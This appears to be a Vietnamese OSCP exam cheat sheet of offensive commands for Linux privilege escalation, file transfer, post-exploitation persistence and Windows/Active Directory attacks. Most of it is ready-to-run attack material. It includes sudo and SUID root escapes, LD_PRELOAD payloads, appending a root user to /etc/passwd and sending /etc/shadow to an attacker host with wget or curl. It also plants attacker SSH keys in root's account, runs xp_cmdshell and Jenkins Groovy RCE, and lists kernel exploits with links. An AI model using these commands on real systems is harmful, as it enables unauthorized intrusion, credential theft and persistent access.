pip list 2>/dev/null; gem list 2>/dev/null; npm ls -g 2>/dev/null # runtime packages
Auto-enum (chạy song song manual):
upload rồi chạy (không chmod cần nếu sh):
./linpeas.sh | tee /tmp/lp.txt
./linux-exploit-suggester.sh
./linpeas.sh | tee /tmp/lp.txt— ~/labOSCP/privilege/linpeas.sh./linux-exploit-suggester.sh— gợi ý kernel exploit theo uname⚠️ linpeas sections quan trọng: SUID/sudoers/cron/writable/system-information/interesting files
9.1 sudo → GTFOBins (gặp NHẤT trong course)
sudo tar -cf /dev/null /etc/shadow --checkpoint=1 --checkpoint-action=exec=/bin/sh
sudo make -s --eval='$(file >>/etc/passwd,pwn:'"$(openssl passwd -salt xx password)"':0:0::/root:/bin/bash)'
sudo git apply --unsafe-paths x.patch
sudo php -r 'system("bash");'
sudo find / -exec /bin/sh \; # find
sudo awk 'BEGIN{system("sh")}' # awk
sudo less → !sh · sudo vi → :!sh # less/vi
sudo env sh · sudo scp / sudo cp ghi đè sudoers/passwd
sudo zip /tmp/x.zip /tmp/x -T -TT 'sh #' # zip
sudo wget --post-file=/etc/shadow http://kali/ # wget exfil
sudo dnf install -y http://<kali>/root.rpm # dnf: rpm %post reverse
sudo crontab -e # cron root: cp /bin/bash + 4755
sudo apache2 -f /etc/shadow # apache2 file-read
sudo nmap --script <sh-file-lua> # nmap interactive: !sh
sudo ssh -o ProxyCommand='sh;nc <ip> <pass>' x # ssh
cat > evil.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0);
system("/bin/bash"); }
EOF
gcc -fPIC -shared -o evil.so evil.c -nostartfiles
sudo LD_PRELOAD=/tmp/evil.so /usr/sbin/<binary-được-phép>
git init . && echo 'exec /bin/sh 0<&2 1>&2' > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
sudo git -C <path> -c user.email=a@b -c user.name=x commit --allow-empty -m pwn
9.2 SUID/SGID binary
find / -perm -4000 -type f 2>/dev/null | grep -vE "^/usr/(bin|sbin|lib)|^/bin|^/sbin"
find / -perm -2000 -type f 2>/dev/null
strings <suid> | grep -E "system|exec|popen|/bin/|sh -c"
strace <suid> 2>&1 | grep -E "execve|open"
find / -perm -4000 -type f 2>/dev/null | g…— lọc LẠfind / -perm -2000 -type f 2>/dev/null— SGIDstrings <suid> | grep -E "system|exec|pope…— phân tích binary lạ:strace <suid> 2>&1 | grep -E "execve|open"— gọi gì, mở file nào
echo -e '#!/bin/sh\ncp /bin/bash /tmp/rb\nchmod 4755 /tmp/rb' > /tmp/<tên-binary-được-gọi>
chmod +x /tmp/<tên>; PATH=/tmp:$PATH /usr/bin/<suid>
# hoặc gcc -o /tmp/<tên> shell.c
ldd /usr/local/bin/<suid> # lib không absolute → đoạt được
grep -r "ldd" /usr/local/bin/<suid> 2>/dev/null
# tạo lib cùng tên với payload __attribute__((constructor)):
cat > /tmp/lib<name>.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void init() __attribute__((constructor));
void init(){ setuid(0); system("/bin/bash -p"); }
EOF
gcc -shared -fPIC -o /tmp/lib<name>.so /tmp/lib<name>.c
LD_LIBRARY_PATH=/tmp /usr/local/bin/<suid>
- maidag SUID (GNU Mailutils ≤3.7 — CVE-2019-18862, arbitrary file write as root):
maidag --version
printf '#\n*/1 * * * * root cp /bin/bash /tmp/rb && chmod 4755 /tmp/rb\n' > /tmp/cr.in
maidag --url /etc/crontab < /tmp/cr.in
maidag --version— <3.8 = dínhmaidag --url /etc/crontab < /tmp/cr.in— dòng 1 PHẢI trống/comment (mbox format)⚠️ chờ cron → /tmp/rb -p → root · target khác: --url /root/.ssh/authorized_keys
- vim SUID:
/bin/backdoor -c ':redir! >>/etc/passwd | echo "pwn:xxj31ZMTZzkVA:0:0::/root:/bin/bash" | redir END | q' - find SUID:
find . -exec /bin/sh -p \; su rootkhông cần pass — thử TRƯỚC khi leo dài (lab .187)/etc/ld.so.preloadghi được → mỗi binary SUID load lib của mình
9.3 Capabilities
| Cap | Khai thác |
|---|---|
cap_setuid=ep (python/perl) |
python -c 'import os;os.setuid(0);os.system("/bin/bash")' |
cap_read (gawk) |
gawk '{print}' /etc/shadow |
cap_read (tar) |
tar -xf /etc/shadow -O |
cap_chown (python) |
python3.8 -c 'import os;os.chown("/etc/passwd",33,33)' → sửa passwd |
cap_dac_read_search |
đọc mọi file kể cả /root (docker, tar, python) |
cap_sys_admin |
mount mọi thứ: mount overlayfs/cgroup → nhiều path root |
cap_net_raw |
sniff traffic (tcpdump) → creds |
cap_net_admin |
sửa routing/interface |
cap_ptrace |
inject process khác |
cap_mknod |
tạo device file → đọc disk raw |
getcap -r / 2>/dev/null
setcap cap_setuid+ep /bin/bash
getcap -r / 2>/dev/null— quétsetcap cap_setuid+ep /bin/bash— nếu mình có cap_setuid ở đâu đó
9.4 Cron / systemd / PATH / timers
# cron root: tar cf backup.tgz * trong dir ghi được
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
# filename checkpoint-action phải RELATIVE (không /)
PATH hijack khi cron gọi binary không absolute:
echo 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb' > /tmp/<binary>; chmod +x /tmp/<binary>
cat > /usr/lib/python3.x/base64.py << 'EOF'
import os
os.system("chmod u+s /bin/bash")
EOF
printf '[Unit]\nDescription=p\n[Service]\nType=oneshot\nExecStart=/dev/shm/a.sh\n[Install]\nWantedBy=multi-user.target\n' > /dev/shm/a.service
systemctl enable --now /dev/shm/a.service
systemctl list-timers --all
printf '[Unit]\nDescription=p\n[Service]\n…— ⚠️ sudo secure_path có thể chặn — với cron thì PATH của root user áp dụng · Python lib hijack (B3): find / -writable → lib trong PYTHONPATH của script root: · systemd unit khi có quyền:systemctl list-timers --all— timers ẩn
cat > /tmp/conf.txt <<'EOF'
C /tmp/rb - - - - /bin/bash
z /tmp/rb 4755 root root -
z /root/proof.txt 0644 root root -
EOF
# base64 → giải mã trên box → /etc/tmpfiles.d/x.conf → systemd-tmpfiles --create (hoặc reboot)
/tmp/rb -p
# user ở group đọc-log, jqquery ghi được:
printf '%s\n' '-R' '-r' '.' '/home/<user>/.ssh/id_rsa' > /home/jqquery
cat /var/log/graylog-inputs # id_rsa bắn vào log → ssh
- cron logsave argv-injection (
.8) · init.d writable sửa trỏ reverse
9.5 Groups đặc biệt
| Group | Khai thác |
|---|---|
| docker | docker run -v /:/mnt --rm -it alpine chroot /mnt sh → cat /root/key.txt |
| lxd/lxc | lxd-alpine-builder → lxc import/init mount rootfs |
| adm (4) | đọc /var/log/syslog/auth.log → creds cron/pass root |
| disk | debugfs /dev/sda1 → debugfs -R "cat /root/.ssh/id_rsa" /dev/sda1 (B7!) |
| video | framebuffer đọc màn hình |
| staff | /usr/local writable |
| backup | tar toàn FS giữ ACL — đọc /root |
9.6 NFS no_root_squash (B9)
sudo mount -t nfs -o nolock <ip>:/home/<user> /mnt/nfs
cp /bin/bash /mnt/nfs/rootshell && sudo chmod 4777 /mnt/nfs/rootshell
⚠️ trên target: /home/<user>/rootshell -p
9.7 Ghi /etc/passwd (3 biến thể)
HASH=$(openssl passwd -salt xx password)
echo "pwn:$HASH:0:0::/root:/bin/bash" >> /etc/passwd && su pwn
HASH=$(openssl passwd -salt xx password)— DES crypt legacy — 13 ký tự, 2 ký tự đầu = salt (xxj31ZMTZzkVA = "password")echo "pwn:$HASH:0:0::/root:/bin/bash" >> /…— pass = password⚠️ /etc/passwd field 2 chấp nhận hash TRỰC TIẾP (login đọc passwd trước khi shadow) — DES/md5/sha đều được: ⚠️ 13 ký tự trần = DES crypt · $1$ = md5 · $5$ = sha256 · $6$ = sha512 · $y$ = yescrypt ⚠️ 2) tar arbitrary extract: mkdir etc; cp passwd sửa; tar -cvf e.tar etc; tar -xvf e.tar -C / ⚠️ 3) make --eval $(file >>) / git apply / vim redir (xem 9.1) ⚠️ hash md5 nhanh: pwned:$1$abc$21uE.dC33x59r1W1R7L.u1:0:0:root:/root:/bin/bash
9.8 FILE HUNTING — săn creds/file trước khi leo quyền
THEO TÊN:
find / -name "*.pem" -o -name "*.key" -o -name "id_rsa*" -o -name "*.kdbx" \
-o -name "*.ovpn" -o -name "*.conf" -o -name "*.bak" -o -name "*.old" \
-o -name ".git-credentials" -o -name "*.sqlite" -o -name "*.db" 2>/dev/null | grep -vE "/proc|/sys|/usr/share"
find / -name "config*" -o -name "settings*" -o -name "*.env" 2>/dev/null | grep -vE "/proc|/sys|/usr|/etc/ssl"
find / -writable -type f 2>/dev/null | grep -vE "/proc|/sys|/run|/tmp"
find / -readable -type f -size -100k 2>/dev/null | grep -vE "/proc|/sys|/usr" | head -100
find /home /root /opt /srv -type f 2>/dev/null
find / -mmin -10 -type f 2>/dev/null | grep -vE "^/proc|^/sys|^/run|^/var/log"
find / -mtime -1 -type f 2>/dev/null | grep -vE "^/proc|^/sys|^/run"
grep -rnI --color=auto -iE "password|passwd|pass=|pwd=|secret|token|api[_-]?key" \
/opt /srv /home /var/www /etc 2>/dev/null | grep -v ".min.js" | head -50
grep -rn "ssh-rsa\|BEGIN RSA\|BEGIN OPENSSH" /home /opt /srv 2>/dev/null
cat /var/www/*/wp-config.php /var/www/html/config.php 2>/dev/null | grep -iE "pass|user|host"
cat /opt/*/config* /srv/*/config* 2>/dev/null
find / -name "wp-config.php" -o -name "database.yml" -o -name "settings.py" -o -name "*.ini" 2>/dev/null
find / -name "*.sql" -o -name "*.sqlite" -o -name "*.db" -o -name "*.mdb" 2>/dev/null
sqlite3 x.db ".headers on" ".mode column" "SELECT * FROM users;"
sqlite3 x.db ".tables" ".schema users"
ls -la /var/backups/ /opt/backups/ /srv/backup* /tmp/backup* 2>/dev/null
find / -name "*.tar.gz" -o -name "*.tgz" -o -name "*.zip" -o -name "*.bak" -o -name "*.old" 2>/dev/null | grep -vE "/proc|/sys|/usr"
cat ~/.bash_history ~/.zsh_history ~/.mysql_history ~/.psql_history ~/.python_history 2>/dev/null
cat /home/*/.bash_history 2>/dev/null | grep -iE "ssh|pass|mysql|sudo|cat.*key"
ls -la ~/.ssh/ /home/*/.ssh/ /root/.ssh/ 2>/dev/null
cat /home/*/.ssh/authorized_keys /home/*/.ssh/known_hosts 2>/dev/null
strings -n 3 /opt/*.pcap | grep -A2 -iE 'name="pass|password=|Authorization'
find / -name "*.pcap" -o -name "*.cap" 2>/dev/null
find / -writable -type f 2>/dev/null | gre…— THEO QUYỀN: · ghi đượcfind /home /root /opt /srv -type f 2>/dev/…— dir người dùngfind / -mmin -10 -type f 2>/dev/null | gre…— THEO THỜI GIAN (file đổi gần đây = đang được dùng):grep -rnI --color=auto -iE "password|passw…— GREP CREDS TOÀN FS:cat /var/www/*/wp-config.php /var/www/html…— CONFIG FILES hay có creds:find / -name "*.sql" -o -name "*.sqlite" -…— database files:sqlite3 x.db ".headers on" ".mode column" …— đọc sqlite ngay trên box (one-liner):ls -la /var/backups/ /opt/backups/ /srv/ba…— BACKUP:cat ~/.bash_history ~/.zsh_history ~/.mysq…— HISTORY mọi thứ:ls -la ~/.ssh/ /home/*/.ssh/ /root/.ssh/ 2…— SSH KEYS:strings -n 3 /opt/*.pcap | grep -A2 -iE 'n…— ssh-keygen -R host; ssh -i key user@host · PCAP "troubleshooting" chứa creds cleartext (lab .98):
# ansible vault: ansible-vault view group_vars/vault.yml --vault-password-file .vault_pass
# kdbx: keepass2john → crack → kpcli --kdb=x.kdbx
# /var/backups/ssh/backup_ssh.tar world-readable → private keys cả user (lab .105)
9.9 Docker socket + misc
ls -la /var/run/docker.sock
docker ps ; docker images
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
ls -la /var/run/docker.sock— group docker hoặc rwdocker ps ; docker images— hoặc curl --unix-socket /var/run/docker.sock ...⚠️ writable /etc/sudoers · /etc/ld.so.conf.d/ · PAM /etc/pam.d/ (pam_rootok) ⚠️ open share git: git config có credential.helper store → .git-credentials plaintext
9.10 Kernel LPE — chỉ khi HẾT đường userspace
| Điều kiện | Exploit | File sẵn |
|---|---|---|
| polkit ≤2021 mọi distro | PwnKit CVE-2021-4034 (chọn đúng 32/64) | privilege/PwnKit/ |
| Ubuntu ≤20.04, k<5.11 | overlayfs CVE-2021-3493 | privilege/CVE-2021-3493-overlayfs/ |
| Ubuntu 20.04, k≤5.4.0-137 | ovl45 CVE-2023-0386 (erp01/www33!) | compile dv_ofs.c |
| Ubuntu 21.04 / k5.8–5.16 | DirtyPipe CVE-2022-0847 | privilege/dirtypipe/ |
| CentOS 7 (2016) | DirtyCOW (user toor:123) | privilege/dirtycow-40839.c |
| sudo 1.8.14+ heap | Baron Samedit CVE-2021-3156 | privilege/sudo-baronsamedit/ |
| k ≤6.12.x (2025) | dirty-clone CVE-2025-38352 (posix_cpu_timers UAF × race clone()) |
github Ch0pin/dirty-clone |
| 2025 | polkit CVE-2025-32463/62 · udisks 6018/19 | web |
- Lỗi UAF trong
posix_cpu_timers: race giữatimer_delete()vàclone(CLONE_VM|CLONE_SIGHAND)→ free thread nhưng timer còn đếm. - Không cần userns/net_admin — chỉ cần shell user thường + đa luồng; khác PwnKit ở chỗ nó là kernel race → có thể flake, chạy lại nhiều lần.
- Ảnh hưởng kernel 5.x–6.12.x chưa patch (fix ở 6.12.34+ / 6.15.x); PoC gốc viết cho Android/Pixel nhưng port sang x86 lab được (sửa
init_credoffset theopahole//boot/config-*). - Repo tham khảo:
github.com/Ch0pin/dirty-clone· writeup: search "CVE-2025-38352 dirty-clone writeup".
Quy trình: uname -a + cat /etc/os-release → đúng dòng → compile TRÊN KALI static (gcc -O0 -static) → check objdump -T x | grep GLIBC ≤ target → upload → chạy. linux-exploit-suggester.sh trên target cũng được.
userns clone → fake root (check /proc/self/uid_map) · F_SETPIPE_SZ bị limit → shrink pipe · target phải readable · overlayfs-rootfs → writes không stick
📦 10. FILE TRANSFER — đẩy/lấy file mọi hoàn cảnh
KALI HOST:
python3 -m http.server 8080
impacket-smbserver share . -smb2support -username u -password p
impacket-smbserver share . -smb2support
python3 -m pip install --user uploadserver
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=s'
python3 -m uploadserver 443 --server-certificate ~/server.pem
wget http://<kali>:8080/file
curl -O http://<kali>:8080/file
exec 3<>/dev/tcp/<kali>/8080 && printf 'GET /file HTTP/1.0\r\n\r' >&3 && cat <&3 | tail -n +5 > file
curl -G 'http://x/sh.php' --data-urlencode "c=echo <b64chunk> >> /tmp/f.b64"
nc -lvnp 9001 > received_file
python3 -m http.server 8080— trong dir chứa fileimpacket-smbserver share . -smb2support -u…— SMB server có authimpacket-smbserver share . -smb2support— anonymouspython3 -m pip install --user uploadserver— UPLOAD server (target POST file VỀ kali — exfil ngược!):openssl req -x509 -out server.pem -keyout …— nếu muốn httpspython3 -m uploadserver 443 --server-certi…— hoặc bỏ cert → httpwget http://<kali>:8080/file— target: curl -X POST https://<kali>/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure · TẢI VỀ TARGET (Linux):exec 3<>/dev/tcp/<kali>/8080 && printf 'GE…— không có wget/curl → bash thuần:curl -G 'http://x/sh.php' --data-urlencode…— qua webshell GET-only:nc -lvnp 9001 > received_file— base64 copy-paste (khi mọi thứ chết): · Kali: base64 -w0 file | pbcopy → Target: echo| base64 -d > file · scp/rsync/ftp/smb — xem mục 2 từng dịch vụ · ĐẨY LÊN TARGET: · target: nc <kali> 9001 < file ⚠️ tar qua ssh: tar czf - dir/ | ssh user@kali 'tar xzf -' ⚠️ git: (trên kali repo) git remote add t ssh://... — hoặc commit lên repo của mình
⚠️ 11. GOTCHAS đã trả học phí — ĐỌNG LẠI
- mariadb client SSL trap: server từ chối handshake → lỗi giống ACL. Fix:
--skip-ssl /dev/shmmount nosuid → SUID bị bỏ qua → drop/tmpNoNewPrivileges+PrivateTmptrên service → su/sudo fail dù đúng passSSH_ASKPASSđọc stdout của script → file phảiecho <pass>- Cron race: tạo CẢ CỤM file rồi chờ 1-2 vòng, đừng xóa sớm
- tar checkpoint filename phải relative — và GNU tar 1.29+
- SELinux enforcing (CentOS): httpd chỉ exec
bin_t;/tmpghi được nhưng exec chết → săn creds thay vì leo quyền - Webshell
$_GET['c']chỉ nhận GET (POST chết) —curl -G --data-urlencode - Box clock lệch → cron vẫn fire đúng chu kỳ, đừng vội kết luận "cron chết"
- Firefox có profile nhưng KHÔNG có
logins.json= không saved logins - SQL Server chạy SYSTEM = sysadmin nhưng DB có khi rỗng
/tmpbox chung nhiều agent: file bạn đặt có thể bị người khác xóa — tên unique- SQLi Oracle: KHÔNG chạy song song nhiều probe trên cùng target
- CSRF token per-form + single-use — mỗi POST phải GET form lại
- Login URL đổi do rewrite: root
/membre.phpmới đúng - LDAP import mail lớn:
imaps://khácimap://— đọc kỹ port - unzip password-protected:
unzip -P pass file.zip
🚩 12. SAU KHI ROOT — checklist
cat /root/key.txt /root/proof.txt /root/local.txt 2>/dev/null
cat /home/*/local.txt /home/*/user.txt 2>/dev/null
cat /etc/shadow > loot.txt
ls -la /root/.ssh/
grep -rn "password" /opt /srv 2>/dev/null
crontab -l; ls /etc/cron.d/
cat /etc/shadow > loot.txt— crack sau — reuse box khácls -la /root/.ssh/— keys → pivot⚠️ full-recon sau root: ss -tlnp (internal services) · route -n (mạng khác!) ⚠️ đo tốc độ box: uptime — đang bị agent khác cày nặng thì nhanh tay lấy flag
# cài SSH key của mình vào root (hoặc user shell):
ssh-keygen -t ed25519 -f ./id_root -N "" # trên kali
mkdir -p /root/.ssh && echo "<pubkey>" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh ; chmod 600 /root/.ssh/authorized_keys ; chown -R root:root /root/.ssh
sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sshd -t && systemctl restart sshd # LUÔN test config trước restart — sai = tự khóa!
# key cũ (rsa): ssh -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa root@<ip>
Privesc lab = misconfig (cron/SUID/sudo/cap), KHÔNG phải kernel. Nếu đang định compile kernel exploit — quay lại đọc kỹ output linpeas lần nữa.
🔗 LINKS — exploit & privesc đã dùng
| Technique | Link |
|---|---|
| GTFOBins (mọi sudo/SUID) | https://gtfobins.github.io |
| keepass4brute (brute kdbx) | https://github.com/r3nt0n/keepass4brute |
| firepwd (Firefox logins decrypt) | https://github.com/lclevy/firepwd |
| maidag CVE-2019-18862 (SUID file write) | https://www.exploit-db.com/exploits/47703 · https://www.mike-gualtieri.com/posts/finding-a-decade-old-flaw-in-gnu-mailutils/ |
| Redis 4/5 unauth RCE (B3) | https://github.com/Mohnad-AL-saif/Redis-4.x-5.x---Unauthenticated-Code-Execution |
| LD_PRELOAD sudo (B2) | https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/ |
| tar wildcard spare-tricks (B12) | https://hacktricks.wiki/en/linux-hardening/interesting-files-permissions/wildcards-spare-tricks.html |
| rsync pentest (B2) | https://hacktricks.wiki/en/network-services-pentesting/873-pentesting-rsync.html |
| IMAP/POP3 pentest (B10) | https://hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html |
| JDWP exploit (B13) | https://github.com/hackerhouse-opensource/exploits/blob/master/jdwp-exploit.txt |
| chankro bypass disable_functions (B8) | https://github.com/richardschwabe/chankro3 |
| Text4Shell CVE-2022-42889 (B13) | https://github.com/Goultarde/CVE-2022-42889-text4shell |
| Restricted shell escape | https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/ |
| PwnKit CVE-2021-4034 | https://github.com/Al1ex/CVE-2021-4034 · ly4k (binary sẵn privilege/PwnKit/) |
| OverlayFS CVE-2021-3493 | https://github.com/inspiringz/CVE-2021-3493/tree/master |
| DirtyPipe CVE-2022-0847 | privilege/dirtypipez/exploit-2.c (self-contained) |
| dirty-clone CVE-2025-38352 | https://github.com/Ch0pin/dirty-clone |
| SaltStack CVE-2020-11651 | https://github.com/jasperla/CVE-2020-11651-poc |
| Drupalgeddon CVE-2019-6340 | https://github.com/knqyf263/CVE-2019-6340 |
| rogue-jndi Log4Shell | https://github.com/veracode-research/rogue-jndi |
| WAF bypass proxy tricks | https://blog.1nf1n1ty.team/hacktricks/pentesting-web/proxy-waf-protections-bypass |
| enum4linux | https://www.kali.org/tools/enum4linux/ |
| HackTricks tổng | https://book.hacktricks.xyz |
| PayloadsAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings |
| revshells.com | https://www.revshells.com |
| ippsec.rocks (video theo technique) | https://ippsec.rocks |
tags: [oscp, windows, active-directory, privesc, ad, tunnels, shells]
🪟 02-WINDOWS — Cheatsheet tác chiến toàn diện
AD lab 10.11.x thực chiến (DC02 Server 2022 · WS032 · FW-AMS-01) · Windows labs 10.12.x (IIS/Kimai2/ThinVNC/GodPotato) · Lab tổng hợp thầy Hòa · LabThayMinh.docx Mọi lệnh đã chạy thật. 🟩 prove · 🟨 cẩn thận · 🟥 gotcha.
🔍 1. RECON — Windows (standalone)
sudo nmap -sVC <ip> -p- --min-rate 3000 -oN nmap.txt
# port menu: 88 kerberos · 135 RPC · 139/445 SMB · 389/636 LDAP(S) · 1433 MSSQL
# 3268 GC · 5985/5986 WinRM · 3389 RDP · 9389 ADWS · 5986 · 9100 printer
nxc smb <ip> -u '' -p '' --shares # null session + shares (netexec)
enum4linux -a <ip> # users + groups + shares + policy
nxc smb <ip> --gen-relay-list tgt.txt # host không yêu cầu signing
nmap -p3389 --script rdp-ntlm-info <ip> # DNS_Domain_Name+NetBIOS → domain+hostname+user hint
nbtscan -r <dải>/24 # NetBIOS name/workgroup/DC nhanh
1.0 ENUM KHÔNG CẦN CREDS (làm trước khi có gì cả)
SMB / RPC null-session
nxc smb <ip> -u '' -p '' --users --groups --shares --pass-pol
rpcclient -U "" -N <ip>
lookupsid.py anonymous:@<ip> -no-pass
enum4linux-ng -A <ip>
impacket-samrdump <ip>
impacket-rpcdump <ip>
kerbrute userenum -d <dom> --dc <dc> /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
ldapsearch -x -H ldap://<ip> -s base namingcontexts
windapsearch --dc <dc> -u "" -m users
nxc rdp <ip>
nmap -p3389 --script rdp-enum-encryption <ip>
nc -nv <ip> 9100 && echo "GET / HTTP/1.0" | nc <ip> 9100
nxc winrm <ip> -u <user> -p <pass>
nxc mssql <ip> -u '' -p ''
snmpwalk -v2c -c public <ip>
nxc wmi <ip> -u '' -p ''
nxc smb <ip> -u '' -p '' --users --groups …— RestrictAnonymous=0?rpcclient -U "" -N <ip>— enumdomusers/enumdomgroups/querydispinfolookupsid.py anonymous:@<ip> -no-pass— SID brute → users (guest SID leak)enum4linux-ng -A <ip>— bản mới, output sạchimpacket-samrdump <ip>— dump SAMR → users/groupsimpacket-rpcdump <ip>— endpoint mapper → dịch vụ ẩnkerbrute userenum -d <dom> --dc <dc> /usr/…— = Kerberos / LDAP = · userenum không log fail!ldapsearch -x -H ldap://<ip> -s base namin…— anon bind → domain DNwindapsearch --dc <dc> -u "" -m users— anon LDAP enumnxc rdp <ip>— = RDP / WinRM / dịch vụ khác = · check RDP + NLA levelnmap -p3389 --script rdp-enum-encryption <…— NLA enforced?nc -nv <ip> 9100 && echo "GET / HTTP/1.0" …— printer jetdirect → PJL infonxc winrm <ip> -u <user> -p <pass>— xác thực có được khôngnxc mssql <ip> -u '' -p ''— MSSQL anon?snmpwalk -v2c -c public <ip>— win host lắm khi bật SNMPnxc wmi <ip> -u '' -p ''— WMI null auth (hiếm)
Kerberos cần clock khớp DC:
sudo ntpdate <dc-ip>
TZ=UTC faketime "2026-11-02 17:04:30" <kerberos-cmd>
sudo ntpdate <dc-ip>— hoặc faketime:TZ=UTC faketime "2026-11-02 17:04:30" <ker…— giờ DC lấy từ smb2-time/nmap
1.1 SMB — enum + truy cập + tải file
ENUM (từ Kali):
smbclient -L //<ip>/ -N
nxc smb <ip> -u <user> -p <pass> --shares
smbmap -H <ip> -u <user> -p <pass>
enum4linux -a <ip>
rpcclient -U "" -N <ip>
smbclient //<ip>/<share> -U 'dom\user%pass'
smb: \> ls ; dir
smb: \> get file.txt
smb: \> prompt OFF ; recurse ON ; mget *
smb: \> cd dir ; lcd /tmp/kali-dir
smb: \> put file.txt
smb: \> del file ; mkdir d ; rmdir d
sudo mount -t cifs //<ip>/<share> /mnt/smb -o user=<user>,pass=<pass>,domain=<dom>
sudo cp -r /mnt/smb/* /home/kali/loot/
copy \\<ip>\share\file.txt C:\Users\Public\
smbclient -L //<ip>/ -N— list shares anonymousnxc smb <ip> -u <user> -p <pass> --shares— shares + quyền READ/WRITEsmbmap -H <ip> -u <user> -p <pass>— matrix permissionenum4linux -a <ip>— tất cả trong 1rpcclient -U "" -N <ip>— enumdomusers / enumdomgroups / queryusersmbclient //<ip>/<share> -U 'dom\user%pass…— TRUY CẬP + TẢI:smb: \> get file.txt— download 1 filesmb: \> prompt OFF ; recurse ON ; mget *— tải ĐỆ QUY toàn sharesmb: \> cd dir ; lcd /tmp/kali-dir— đổi dir 2 chiềusmb: \> put file.txt— upload (nếu RW)smb: \> del file ; mkdir d ; rmdir d— quản lýsudo mount -t cifs //<ip>/<share> /mnt/smb…— mount trên Kali:copy \\<ip>\share\file.txt C:\Users\Public…— copy từ phía Windows:
1.2 WinRM (5985/5986) — shell & exec
evil-winrm -i <ip> -u <user> -p '<pass>'
evil-winrm -i <ip> -u <user> -H <ntlm-hash>
nxc winrm <ip> -u <user> -p <pass> -x whoami
evil-winrm -i <ip> -u <user> -p '<pass>'— interactive shellevil-winrm -i <ip> -u <user> -H <ntlm-hash>— PtHnxc winrm <ip> -u <user> -p <pass> -x whoami— 1 lệnh⚠️ PSWA (PowerShell Web Access :443/https): form login qua browser — drive bằng python requests
1.3 RDP (3389)
xfreerdp /v:<ip> /u:<user> /p:'<pw>' /dynamic-resolution +clipboard /cert:ignore +home-drive
xfreerdp /v:<ip> /u:<user> /d:<dom> /p:'<pw>' /dynamic-resolution +clipboard
rdesktop -u <user> -p '<pw>' <ip>
xfreerdp /v:<ip> /u:<user> /d:<dom> /p:'<pw>'…— domain user⚠️ check RDP security level: nmap rdp-ntlm-info (NLA enforced?) ⚠️ upload qua RDP: cp file → clipboard (rdesktop -0) hoặc map drive: /drive:sharedir,/path
1.4 MSSQL (1433)
impacket-mssqlclient <dom>/<user>:<pass>@<ip> -windows-auth
impacket-mssqlclient sa:<pass>@<ip>
impacket-mssqlclient sa:@<ip>
sqlcmd -S <ip> -U sa -P <pass> -No
nmap -p1433 --script ms-sql-* <ip>
hydra -L users.txt -P passwords.txt mssql://<ip>
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');
SQL> EXEC xp_cmdshell 'whoami';
SQL> sp_configure 'show advanced options',1; RECONFIGURE; sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC ('sp_configure ''show advanced options'',1; RECONFIGURE;') AT [SQL03.DOM.COM];
EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SQL03.DOM.COM];
EXEC ('xp_cmdshell ''whoami''') AT [SQL03.DOM.COM];
impacket-mssqlclient sa:<pass>@<ip>— SQL auth (Mixed mode)impacket-mssqlclient sa:@<ip>— thử no-passsqlcmd -S <ip> -U sa -P <pass> -No— -No = bỏ cert check (SQL 2022+ hay lỗi cert!)hydra -L users.txt -P passwords.txt mssql:…— Mixed mode brute được qua 1433SQL> SELECT IS_SRVROLEMEMBER('sysadmin');— quyềnSQL> EXEC xp_cmdshell 'whoami';— RCE (enable nếu cần)EXEC ('sp_configure ''show advanced option…— download qua MSSQL: EXEC xp_cmdshell 'certutil -urlcache -f http://kali/x.exe C:\Users\Public\x.exe'; · LINKED SERVER — exec trên server KHÁC qua link (AD hay gặp, leo ngang DB→DB):⚠️ kiểm tra link: EXEC sp_linkedservers · quyền impersonate: EXECUTE AS LOGIN='sa'
1.5 RPC (135) — những pipe hay dùng
qua impacket hoặc rpcclient — những endpoint:
rpcclient -U <dom>/<user>%<pass> <ip>
wmiexec/psexec/atexec
rpcclient -U <dom>/<user>%<pass> <ip>— \pipe\lsarpc · \pipe\samr · \pipe\srvsvc · \pipe\svcctl · \pipe\eventlog · \pipe\efsrpc (PetitPotam) · \pipe\netdfs (DFSCoerce) · \pipe\spoolss (PrinterBug) · enum toàn diệnwmiexec/psexec/atexec— exec qua từng pipe
1.6 Service & app exploits — RCE có sẵn (tìm trước khi cần shell)
| Điều kiện | Exploit |
|---|---|
| IIS apppool + SeImpersonate | GodPotato (Win10/Server ≤2022) |
| polkit cũ (Win7/2008) | PwnKit |
| Spooler sống | PrintNightmare CVE-2021-1675 |
| SMBv1 | EternalBlue MS17-010 |
| ThinVNC ≤1.0b1 | auth bypass + traversal (.165) |
| IIS 6/WebDAV | scstoragepathfromurl overflow |
| Jenkins :8080 (internal) | Groovy /scriptText RCE → SYSTEM — xem dưới |
| Service module-dir writable | DLL planting DllMain payload → sc.exe start svc |
# 1) lấy crumb + session cookie (admin:<pass>):
$u="admin";$p="<pass>"
$cred=[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("$u`:$p"))
$h=@{Authorization="Basic $cred"}
$cr=(IWR "http://127.0.0.1:8080/crumbIssuer/api/json" -Headers $h -SessionVariable s -UseBasicParsing).Content|ConvertFrom-Json
$h[$cr.crumbRequestField]=$cr.crumb
# 2) POST groovy → exec cmd dưới SYSTEM:
$g='println("cmd /c whoami".execute().text)'
IWR "http://127.0.0.1:8080/scriptText" -Headers $h -WebSession $s -Method POST -Body @{script=$g} -UseBasicParsing
